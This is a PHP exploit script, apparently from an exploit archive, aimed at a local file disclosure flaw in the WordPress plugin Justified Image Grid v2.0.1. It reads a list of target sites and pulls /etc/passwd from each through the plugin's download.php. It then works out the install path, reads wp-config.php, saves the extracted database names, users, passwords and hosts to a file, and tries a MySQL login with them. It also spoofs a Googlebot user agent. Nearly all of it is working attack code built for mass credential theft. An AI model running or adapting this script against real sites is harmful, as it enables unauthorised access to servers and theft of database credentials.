Wordpress plugin Justified Image Grid v2.0.1 LFD Exploiter

<?php
#Wordpress plugin Justified Image Grid v2.0.1 LFD
#Author     : Null Pointer
#Exploit    : INJ3CTOR_M4

set_time_limit(0);


$opt = getopt('l:');
$exploit = '/wp-content/plugins/justified-image-grid/download.php?file=file://';

echo"\n\n\t\t[*] M4 LFD WORDPRESS EXPLOITER [*]\n\n";

if(isset($opt['l'])){
    $list = $opt['l'];
    $urls = list_get_contents($list);
    foreach($urls as $url){
        $url = rtrim($url, '/');
        $ch = curl_init();
        echo"Target => {$url}\r\n";
        echo"\tSent Payload.\r\n";
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_URL, $url . $exploit . "/etc/passwd");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
        curl_setopt($ch, CURLOPT_ENCODING, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $data = curl_exec($ch);
        curl_close($ch);

        if(preg_match('/daemon|root/i', $data)){
            echo"\t$url Vulnerable!\r\n";
            $f = fopen('passwds.txt', 'ab');
            fwrite($f, "Target => {$url}\n\n{$data}\n\n\n");
            fclose($f);
            echo"\t/etc/passwd Saved!\r\n";
            $home = get_home_path($url);
            if($home != false){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                curl_setopt($ch, CURLOPT_URL, $url . $exploit . $home . "/wp-config.php");
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
                curl_setopt($ch, CURLOPT_ENCODING, 0);
                curl_setopt($ch, CURLOPT_TIMEOUT, 30);
                $data = curl_exec($ch);
                curl_close($ch);

                if(preg_match("#DB_USER#i", $data)){
                    $f = fopen('configs.txt', 'ab');
                    preg_match("#'DB_NAME', '(.*?)'#i", $data, $DB_NAME);
                    preg_match("#'DB_USER', '(.*?)'#i", $data, $DB_USER);
                    preg_match("#'DB_PASSWORD', '(.*?)'#i", $data, $DB_PASSWORD);
                    preg_match("#'DB_HOST', '(.*?)'#i", $data, $DB_HOST);
                    fwrite($f, "Target => {$url}\r\nDB: {$DB_NAME[1]}\r\nUSER: {$DB_USER[1]}\r\nPASS: {$DB_PASSWORD[1]}\r\nHOST: {$DB_HOST[1]}\n\n\n");
                    fclose($f);
                    echo"\tconfig Information Saved!\r\n";
                    echo"\tMysql_Connect: ";
                    if( @mysql_connect($DB_HOST[1],$DB_USER[1],$DB_PASSWORD[1])){
                        echo"OK!\n\n";
                    }else{
                        echo"ERROR!\n\n";
                    }
                }else{
                    echo"\tCan't Find Configuration File\n\n";
                }
            }else{
                echo"\tCan't Find The Home Path\n\n";
            }
        }else{
            echo"\t$url Not Vulnerable!\n\n";
        }
    }
}

function list_get_contents($file){
    if(file_exists($file)){
        $data = file($file);
        return array_unique(array_map("trim", $data));
    }
}

function get_home_path($url){
    $exploit = array('/wp-settings.php', '/wp-includes/registration-functions.php');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_URL, $url . $exploit[0]);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
    curl_setopt($ch, CURLOPT_ENCODING, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $data = curl_exec($ch);
    curl_close($ch);

    if(preg_match_all("#<b>(.*?)</b>#", $data, $path)){
        $path = str_replace('/wp-settings.php', '', $path[1][1]);
        return $path;
    }else{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_URL, $url . $exploit[1]);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
        curl_setopt($ch, CURLOPT_ENCODING, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $data = curl_exec($ch);
        curl_close($ch);

        if(preg_match_all("#<b>(.*?)</b>#", $data, $path)){
            $path = str_replace('/wp-includes/registration-functions.php', '', $path[1][1]);
            return $path;
        }else{
            return false;
        }
    }
}